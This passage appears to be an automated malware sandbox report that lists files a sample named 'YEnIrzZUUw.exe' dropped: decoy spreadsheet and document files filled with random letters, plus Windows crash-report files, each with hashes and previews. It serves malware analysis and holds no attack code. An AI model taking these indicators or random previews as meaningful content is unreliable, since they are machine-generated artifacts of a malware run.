Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\ProgramData\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\ProgramData\JSDNGYCOWY.docx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	false
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\ProgramData\KATAXZVCPS.docx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\ProgramData\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_YEnIrzZUUw.exe_53323bae8c89d5655a0792659e7b097e8df878d_aba9e9d8_1c2b8bbf-70ed-4441-a7df-e4ba8b157a50\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1451299532867916
Encrypted:	false
SSDEEP:	192:Vj8dV6807RAQe9jsqZrP2H9HmzuiFaZ24IO8n:adV637RAQe9jlaGzuiFaY4IO8n
MD5:	E23818D50A6190A3526A82A9144CD3BC
SHA1:	2EECD4097ED67FDE90EBEFDF11378A2139D5F2C2
SHA-256:	20E2BC30B1635CC59B6AD9B3E9C766363E42EB14963A1AE4988315C08BDC104C
SHA-512:	F583C4766639F47EA5912CBFCFF61A39C77A152F7D0510E4474B737B6AF550FF0548170F8B57A93363C7AE4EF174631F0FB2D5EF487F71B4AC846F142247ACF0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.5.9.0.9.0.3.4.0.0.3.6.1.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.5.9.0.9.0.4.1.6.5.9.9.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.c.2.b.8.b.b.f.-.7.0.e.d.-.4.4.4.1.-.a.7.d.f.-.e.4.b.a.8.b.1.5.7.a.5.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.f.2.7.1.5.a.c.-.4.9.d.a.-.4.d.7.2.-.a.4.5.5.-.c.7.4.b.8.8.a.e.5.e.b.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.Y.E.n.I.r.z.Z.U.U.w...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.0.4.-.0.0.0.1.-.0.0.1.4.-.0.3.f.8.-.2.c.1.4.a.d.9.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.b.8.7.8.8.5.2.1.4.1.f.f.0.8.5.9.e.1.f.d.5.5.8.1.3.f.5.d.d.e.f.0.0.0.0.f.f.f.f.!.0.0.0.0.7.5.5.6.2.6.0.b.8.e.5.9.c.e.a.8.f.9.0.4.8.c.f.7.9.3.f.7.c.5.2.c.e.7.5.f.f.f.8.5.!.Y.E.n.I.r.z.Z.U.U.w...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF41D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 26 07:41:43 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	62258
Entropy (8bit):	2.7286417960657
Encrypted:	false
SSDEEP:	384:9pfOSolSzAgEddSbX795c51eJlZEryL95CK2ZCTKLg:9kSoQkgEbSbrc54bZECTaZCTKLg
MD5:	72AF788267FB18714275FD789CC571D0
SHA1:	72386C5A8DF5E24FB06A94F1FCE4ABBEF2820C3B
SHA-256:	2EA50CB1FA156BF66908BA7F727C8CCA1EEF0F3D5FA0B9A08F831C4EE05256E9
SHA-512:	34FA02457D6A72A5ED5C69DCEA4C1486963CA6D4E6F568D1741EB3AED4911CE4DC1E5EA87F2B5882F87E12705CBB27078C98C1D974479D49B5647F165F2A5CF5
Malicious:	false
Preview:	MDMP..a..... ........Z+f............4............ ..<...........~9..........T.......8...........T............Z..............((.........................................................................................eJ.............GenuineIntel............T............Z+f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5B4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	3.7033990683382414
Encrypted:	false
SSDEEP:	192:R6l7wVeJuv6v86Y9pSUDUqgmfv5AcCpDZ89bzHsf/xm:R6lXJO6k6YTSUDUqgmfv5ACzMfU
MD5:	95ABAA2B62442368A2E294AC0628402B
SHA1:	00E19266376A9DBB10DBE1F768E49B80D8F2D200
SHA-256:	601276D4981DB3F86C8A9F1BBAA1A86D8AFEDB8836F1A881597B53B78D096DDA
SHA-512:	02A8CCAD8A59EBFD6369D6DC1619184B8C2DB59112D0235FFAFF8E2B140C2A7D61EA30333517107A3E3C3620F513DD520B9FEADA60A02D013FDCC13C8E7563E0
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF613.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.48273020608979
Encrypted:	false
SSDEEP:	48:cvIwWl8zsIJg77aI9VKWpW8VY5Ym8M4JL5tFb+q8mNrcxjQehQd:uIjfOI7br7VNJVNcxjQehQd
MD5:	47F35F0C36B1BA3B11C081BA20132FA5
SHA1:	B0BB7AF280C0BB3168470639AD21FDF64AF76DE9
SHA-256:	594774ECD805FA0B1F99B2EA485F0A91C71CD32B76E4C7624FC328CD11D88976
SHA-512:	71473D76CBCBDCC576549E3FD1390A7E6FF2683E1C45F3BA5D6BDF3906E4290CF76031CF3F47E87761F922F997DEFB2581DECF87BEF140B3E1A84F4D27B02920
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="296564" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\VAMYDFPUND.docx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\ProgramData\VAMYDFPUND.xlsx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
